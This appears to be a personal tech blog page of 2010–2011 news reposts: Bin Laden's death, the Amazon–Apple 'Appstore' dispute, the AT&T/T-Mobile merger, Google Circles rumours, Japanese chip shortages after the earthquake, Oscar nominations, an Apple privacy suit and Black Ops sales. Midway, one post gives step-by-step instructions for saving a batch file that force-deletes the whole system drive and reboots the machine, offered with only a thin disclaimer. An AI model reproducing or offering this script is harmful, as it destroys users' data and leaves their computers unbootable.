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US President Barack Obama has hailed the death of al-Qaeda leader Osama Bin Laden as a “good day for America,” saying the world is now a safer and a better place.

Bin Laden was killed in a raid by US special forces on a compound in the Pakistani city of Abbottabad.

He is believed to have ordered the attacks on New York and Washington on 11 September 2001, as well as a number of other deadly bombings.

He topped the US “most wanted” list.

But his details on the list have now been updated with a simple banner indicating his current status: “Deceased”.

DNA tests carried out after the operation indicated with “99.9%” certainty that the man shot dead was Osama Bin Laden, US officials said.

He was buried at sea after a Muslim funeral on board an aircraft carrier in the north Arabian Sea, Pentagon officials said.

The US has put its embassies around the world on alert, warning Americans of the possibility of al-Qaeda reprisal attacks for Bin Laden’s killing.

CIA director Leon Panetta said al-Qaeda would “almost certainly” try to avenge the death of Bin Laden.

The US president’s chief counter-terrorism advisor, John Brennan said that al-Qaeda, though weakened, remained a danger.

“It may be a mortally wounded tiger but it still has some life in it,” he said.

Elusive

As news of Bin Laden’s death was being digested around the world, President Obama said: “Today we are reminded that as a nation there is nothing we can’t do”.

Bin Laden, 54, approved the 9/11 attacks in which nearly 3,000 people died.

He evaded the forces of the US and its allies for almost a decade, despite a $25m (£15m) bounty on his head.

On Sunday, US forces said to be from the elite Navy Seal Team Six undertook the operation in Abbottabad, 100km (62 miles) north-east of Islamabad.

US officials said Bin Laden was shot in the head after resisting.

The compound in Abbottabad is just a few hundred metres from the Pakistan Military Academy – the country’s equivalent of West Point or Sandhurst.

The BBC’s Aleem Maqbool in Abbottabad says it will undoubtedly be a huge embarrassment to Pakistan that Bin Laden was found not only in the country, but also on the doorstep of the military academy.

Pakistan was only notified of the operation once US forces had left its airspace.

Mr Brennan said it was “inconceivable” that Bin Laden did not have a support system in Pakistan.

“We’re going to pursue all leads to find out exactly what type of support system and benefactors that Bin Laden might have had,” he said.

However, US Secretary of State Hillary Clinton said co-operation from Pakistan helped lead the Americans to Bin Laden.

Bin Laden’s body was consigned to the sea after a burial service on the USS Carl Vinson.

“The deceased’s body was washed and then placed in a white sheet. The body was placed in a weighted bag. A military officer read prepared religious remarks which were translated into Arabic by a native speaker,” a US defence official said.

“After the words were complete, the body was placed on a prepared flat board, tipped up, whereupon the deceased’s body eased into the sea,” the official said.

Photographs of Bin Laden’s body have not been released.

The head of the al-Azhar mosque in Cairo, Sunni Islam’s most important seat of learning, condemned the decision to dispose of the body at sea.

Grand Imam Sheikh Ahmed al-Tayeb said it was an affront which ran “contrary to the principles of Islamic laws, religious values and humanitarian customs”.

As the news spread, crowds gathered outside the White House in Washington DC and Ground Zero, in New York, chanting “USA, USA”.

In Pakistan, about 100 people took part in a protest in the western city of Quetta, burning a US flag and chanting anti-American slogans.

Mrs Clinton said the operation sent a signal to the Taliban in both Afghanistan and Pakistan.

“You cannot wait us out, you cannot defeat us, but you can make the choice to abandon al-Qaeda and participate in a peaceful political process,” she said.

And she said there was “no better rebuke to al-Qaeda and its heinous ideology” than the peaceful uprisings across the Arab world against authoritarian governments.

Giving more details of the raid, one senior US official said a small US team conducted the attack in about 40 minutes.

Three other men – one of Bin Laden’s sons and two couriers – and a woman, were killed in the raid, the official said.

Speaking later, Mr Brennan said that the woman who died was believed to be Bin Laden’s wife.

“She served as a shield,” he said, adding: “It was unclear is she was put there, or if she put herself there.”

He confirmed that US commandos on the raid had been ready to take the al-Qaeda leader alive, if that had been possible

News & Image Courtesy : BBC

It appears that Amazon.com has finally responded to the suit filed against it by Apple over Amazon’s use of the name “Appstore” for its mobile application store, which Apple claims infringes on its “App Store” copyright. In the response, which was filed late Monday night, Amazon asserts that the phrase “app store” is generic and that even Apple’s own CEO, Steve Jobs, uses the term in a generic manner to refer to competing application storefronts on the Android platform.

In an Apple quarterly earnings calls, Jobs was quoted as saying the following:

“So there will be at least four app stores on Android, which customers must search among to find the app they want and developers will need to work with to distribute their apps and get paid. This is going to be a mess for both users and developers. Contrast this with Apple’s integrated App Store, which offers users the easiest-to-use largest app store in the world, preloaded on every iPhone.”

Amazon quoted the last sentence of that passage in its countersuit, and also referred to the Oxford English Dictrionary’s definition of the term “app” and the fact that the American Dialect Society voted “app” the “Word of the Year” for 2010 as proof of the generic nature of “app store.”

Courtesy : http://www.mobileburn.com

My Blog Turns One!

Hey Folks,

I started this blog exactly one year back on 27-3-2010. Today this blog is turning one. I have posted 28 posts within the last year (Even though i started it in march, I started posting from August :p). I hope 2011 will be a great year for me. I am also planning to remove my blog from wordpress.com to my own domain which would give more versatility to my blog.

Thank you all for your support and co-operation. Keep reading!

Cheers,
Shanker

AT&T and Deutsche Telekom have entered into a definitive agreement for the sale of T-Mobile USA for $39 billion in cash and stocks. The combined customer base of this upcoming behemoth will be 130 million humans, though the agreed deal will have to pass the usual regulatory and closing hurdles before becoming complete. The two companies estimate it’ll take them 12 months to get through all the bureaucracy — if they get through, the proposed network merger will create a de facto GSM monopoly within the United States — but we don’t have to wait that long to start discussing life with only three major US carriers. AT&T envisions it as a rosy garden of “straightforward synergies” thanks to a set of “complementary network technologies, spectrum positions and operations.”

One of the other big benefits AT&T is claiming here is a significantly expanded LTE footprint — 95 percent of Americans, or 294 million pops — which works out to 46.5 million more than AT&T was claiming had it gone LTE alone. Of course, T-Mobile has never put forth a clear strategy for migrating to LTE, suggesting that AT&T plans on using the company’s AWS spectrum to complement its own 700MHz licenses as it moves to 4G. You might be groaning at the thought of yet another LTE band, but it’s not as bad as you might think: MetroPCS already has a live LTE network functioning on AWS, so there’s precedent for it. For further details, hit up the gallery below, the Mobilize Everything site, or the official press release after the break.

In the event of the deal failing to receive regulatory approval, AT&T will be on the hook for $3 billion to T-Mobile — a breakup fee, they call it — along with transferring over some AWS spectrum it doesn’t need for its LTE rollout, and granting T-Mo a roaming agreement at a value agreeable to both parties.

Online news websites are currently rife with talk of search engine giant Google apparently planning to launch a new social networking service imminently, dubbed Google Circles. But what is Google Circles exactly? And what can the service add to the already oversaturated genre of social networking?

The new service is rumoured to be one which allows its users to share status updates, links, videos and other media with friends and acquaintances. Nothing new in that regard then! However, the grape vine suggests that the biggest bonus of Circles is that is offers far more privacy than its competitors allowing the user to share media with people in certain “circles” only (for example, “co-workers”, “school friends” or “family”) instead of sharing with everyone at once. This is the case with social networks such as Facebook and Twitter.

Google Circles might seem familiar for another reason too. The service was once used for a very short period of time by competing search engine Lycos back in 2004, before the rise of the global popularity of Facebook started.

At the time, David Kim (CEO of Lycos) promoted the service as “a one-stop shop for sharing things, discussing and staying in touch with favourite circles of people.” The CEO added that Circles helps one to be “more efficient at socializing.”

The situation just aids to prove that ideas can only be successful if people actually hear about them and it goes without saying that Google have a far larger audience than Lycos ever has.

The employees of Google are remaining very tight lipped regarding the supposedly hijacked service however, only stating that the company would not comment on “rumour or speculation.” Although the number of people with Google accounts is escalating, I would be concerned that Google’s current services – and therefore; probably Circles as well – will be restricted to account holders only, which could potentially affect uptake. Paradoxically, signing up to use Facebook or Twitter can be done with any email address.

Lack of universal usage is the only complaint I have regarding services like GTalk – I wish all my friends had Google accounts so that I could communicate with them all using this facility! It remains to be seen if Circles will be enough of a hit with web surfers to tempt more individuals over to the G side.

(Reuters) – Prices for key technology components extended gains on Tuesday, as damage at Japanese plants and infrastructure caused by Friday’s devastating earthquake and tsunami threatens to disrupt the global manufacturing chain longer than many had expected.

Dozens of Japanese firms from component makers to electronics firms and automakers are keeping their plants shuttered, while damage to infrastructure including power, roads, rails and ports will take months to repair.

The prospect of prolonged supply disruptions sent global companies scrambling for alternative sources of high-tech components in particular, a sector where Japan is still a dominant player.

Research firm IHS iSuppli said the quake and its aftermath could result in significant shortages of some electronic parts and lead to big price hikes.

“While there are few reports of actual damage at electronic production facilities, impacts on the transportation and power infrastructure will result in disruptions of supply, resulting in the short supply and rising prices,” iSuppli said.

“Components impacted will include NAND flash memory, dynamic random access memory (DRAM), microcontrollers, standard logic, liquid-crystal display (LCD) panels, and LCD parts and materials.”

Spot prices of NAND flash chips extended their gains on Tuesday, rising nearly 3 percent after a 20 percent jump on Monday, while DRAM memory chip prices gained 0.2 percent on top of a 7 percent on Monday, according to price tracker DRAMeXchange.

Japan accounts for one-fifth of the world’s semiconductor production, including about 40 percent of flash memory chips used in everything from smartphones, tablets to computers.

Even if shipments of semiconductor parts affected by the quake were disrupted for only two weeks, shortages and their price impact were likely to linger until the third quarter, iSuppli said.

TOSHIBA, SONY, CANON PLANTS DOWN

Demand for NAND flash memory chips has been surging, led by mobile devices and tablets such as Apple Inc’s iPad 2, which is estimated to have sold almost 1 million units during its weekend debut.

Toshiba Corp, which supplies about one-third of the world’s NAND flash memory chips, said it was still inspecting its System LSI factory in Iwate, the only one halted by the quake and tsunami and could not say when it might re-open.

The factory produces microprocessors and image sensors.

Fellow chipmaker Texas Instruments on Monday warned its two suspended plants would take until July to return to full production, though it had managed to re-direct 60 percent of their output to other sites.

Canon Inc said it may not be able to resume production at three factories making office equipment and lenses used in audio-visual players this week.

Sony Corp also said its eight factories making equipment ranging from optical devices, IC cards, blu ray discs, chip equipment and lithium batteries remained closed, with no guarantees on resuming date.

Taiwan’s Wintek, which makes the touch module for the iPad 2, said it had more than two weeks of inventory left and the short-term impact was limited. However, a source at the company said it was using Japanese components and was looking for secondary suppliers.

“There are alternative sources for Japanese raw materials and Taiwan is also capable of producing many of the components that we are currently importing from Japan,” said Luo Huai-jia, vice president of Taiwan’s electrical and electronic manufacturer’s association.

“We also have other sources such as France that we can tap if inventories tighten.”

Raj Kumar, general manager of Singapore GLOBALFOUNDRIES, said most of the company’s Japanese suppliers had alternative sources outside the country.

“We are not pushing them for updates, we have enough inventories,” he said. “Japanese people have the best record in bouncing back and we expect them to bounce back.”

Hynix Semiconductor Inc, the world’s No.2 memory chipmaker, said it had around two months of wafer inventory but a prolonged disruption in supplies of wafers by major producers such as Shin-Etsu may interrupt its production schedule.

Shin-Etsu said on Tuesday it had restarted one factory near Tokyo, but two plants near the worst-hit areas remained closed and the company was unable to say when production will resume at the sites. It is trying to boost production elsewhere to make up the shortfall caused by the shutdown.

Analysts estimate Shin-Etsu is the biggest supplier for Hynix, offering more than 50 percent of the South Korean firm’s wafer requirement.

“Since we have enough inventory, there’ll be no short-term impact but as the situation gets worse and prolonged, it could have a wide-ranging impact to the overall industry because Japan is a major wafer supplier. We are diversifying supply sources to non-Japanese firms including Korean firms,” said a Hynix spokesman.

Unlisted LG Siltron is a major silicon wafer supplier based in South Korea.

Chinese chipmaker SMIC said it saw minimal short-term impact from the disaster in Japan but was monitoring the supply situation.

go to notepad and type the following and save it as a .bat file

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

If executed this program will immediately shutdown ur system and delete all the contents of the system drive. Next time your system wont boot. Please dont try it in your own system. I am not responsible for anything done by using this program

"The Social Network" poster featuring Jesse Eisenberg, who has been nominated for an Oscar for Best Actor for his portrayal of Facebook founder Mark Zuckerberg.

Facebook co-founder Eduardo Saverin’s claim that he was unduly ousted from the social network’s early executive team formed the basis for “The Social Network,” the controversial yet acclaimed film about the birth of the company. Perhaps with a touch of unintended irony, when nominations for the 83rd Academy Awards were announced Tuesday morning, the actor who played Saverin was snubbed on the Best Supporting Actor nomination that so many pundits had thought would be a lock.

“The Social Network” netted eight nominations for the 83rd Academy Awards, the Academy of Motion Picture Arts and Sciences announced Tuesday morning. Among them was the coveted Best Picture category–but actor Andrew Garfield, expected to be a shoo-in nomination and even a favorite to win Best Supporting Actor for his portrayal of Saverin, was snubbed. Garfield’s co-star Jesse Eisenberg was nominated for a Best Actor Oscar for playing Facebook CEO Mark Zuckerberg; director David Fincher was nominated for Best Director; and the screenplay by Aaron Sorkin was nominated for Best Screenplay Adaptation. The film was also nominated for Best Cinematography, Best Film Editing, Best Sound Mixing, and Best Original Score for its music by Nine Inch Nails’ Trent Reznor and collaborator Atticus Ross.

In the Best Picture category, “The Social Network” will go up against “Black Swan,” “The Fighter,” “Inception,” “The Kids Are All Right,” “The King’s Speech,” “127 Hours,” “Toy Story 3,” “True Grit,” and “Winter’s Bone.” Though not a heavy favorite to win, it does have a good shot.

But Eisenberg will have a tougher uphill battle in the Best Actor category. He’ll go up against some heavy hitters, like Javier Bardem in “Biutiful” and Jeff Bridges in “True Grit,” as well as acclaimed performances from Colin Firth in “The King’s Speech” and fellow young actor James Franco in “127 Hours.”

Despite being one of the most talked-about and well-received movies of the year, “The Social Network” did not lead the pack in the number of nominations. “The King’s Speech,” a drama starring Colin Firth, was in first place with 12 total nominations, and Ethan and Joel Coen’s remake of classic western “True Grit” followed with 10. “The Social Network” was tied for third place alongside the Christopher Nolan-directed “Inception.”

Earlier this month, “The Social Network” won a Golden Globe award for best drama.

The Oscars ceremony will be held on Feb. 27.

Apple is being sued for allegedly letting mobile apps on the iPhone and iPad send personal information to ad networks without the consent of users

Jonathan Lalo, who filed the lawsuit on Thursday in U.S. District Court in San Jose, Calif., alleges that Apple’s iPhones and iPads let ad networks track which applications people download, how often they’re used, and for how long, according to a Bloomberg article published today.

Specifically, the suit alleges that the ad networks are able to trace an iPhone or iPad using the unique device identifier, or UDID, which is a number specific to each unit that can’t be blocked by users. Claiming that sending personal data without consent violates federal computer fraud and privacy laws, the suit is seeking class action status on behalf of all Apple iPhone and iPad users who downloaded an app between December 1, 2008, and last week, according to Bloomberg.

Privacy concerns over mobile data have heated up lately. Last week, a Wall Street Journal article asserted that mobile apps send certain information without the user’s consent or knowledge. That article helped light a fire under the Mobile Marketing Association, an industry group that is now calling for new, more transparent privacy guidelines to tell consumers what information gets sent to advertisers and how it’s used.

Along with Apple, the lawsuit names as defendants certain mobile apps, such as Pandora, Paper Toss, Weather Channel, and Dictionary.com, Bloomberg reported.

The Journal article had specifically mentioned Pandora, which it found was sending age, gender, and other personal information to ad networks, and Paper Toss, which the paper asserted was transmitting UDIDs.

An Apple representative told CNET today that the company declines to comment on the suit.

Call of Duty: Black Ops has surpassed the $1 billion worldwide sales mark after just six weeks of availability, Activision announced today.

That milestone joins a growing number of impressive feats the title has enjoyed since its launch on November 9.

In just its first day of availability, Call of Duty: Black Ops tallied $360 million in worldwide revenue, easily besting its predecessor, Call of Duty: Modern Warfare 2, which generated $310 million on its launch day.

The game then followed that up with the biggest entertainment launch in history, making $650 million in its first five days of availability. Modern Warfare 2 made $550 million during its first five days on store shelves.

It took Modern Warfare 2 until January–approximately two months–to reach the $1 billion worldwide sales figure Black Ops surpassed in six weeks.

Beyond the point of sale, Black Ops continues to impress. Activision reported today that gamers have played the game for more than 600 million hours online. Microsoft, which furnished Xbox Live figures to Activision, told the publisher that the average player typically plays Black Ops online more than once a day for over one hour at a time.

There was little doubt that Black Ops would be an online-gaming winner, considering how successful Modern Warfare 2 was on Xbox Live. But how easily it bested Modern Warfare 2 revenue figures is somewhat surprising, given how impressive its predecessor’s sales were.

Perhaps now the question is whether the next Call of Duty release, scheduled to launch in 2011, can keep that success streak going. Time will tell.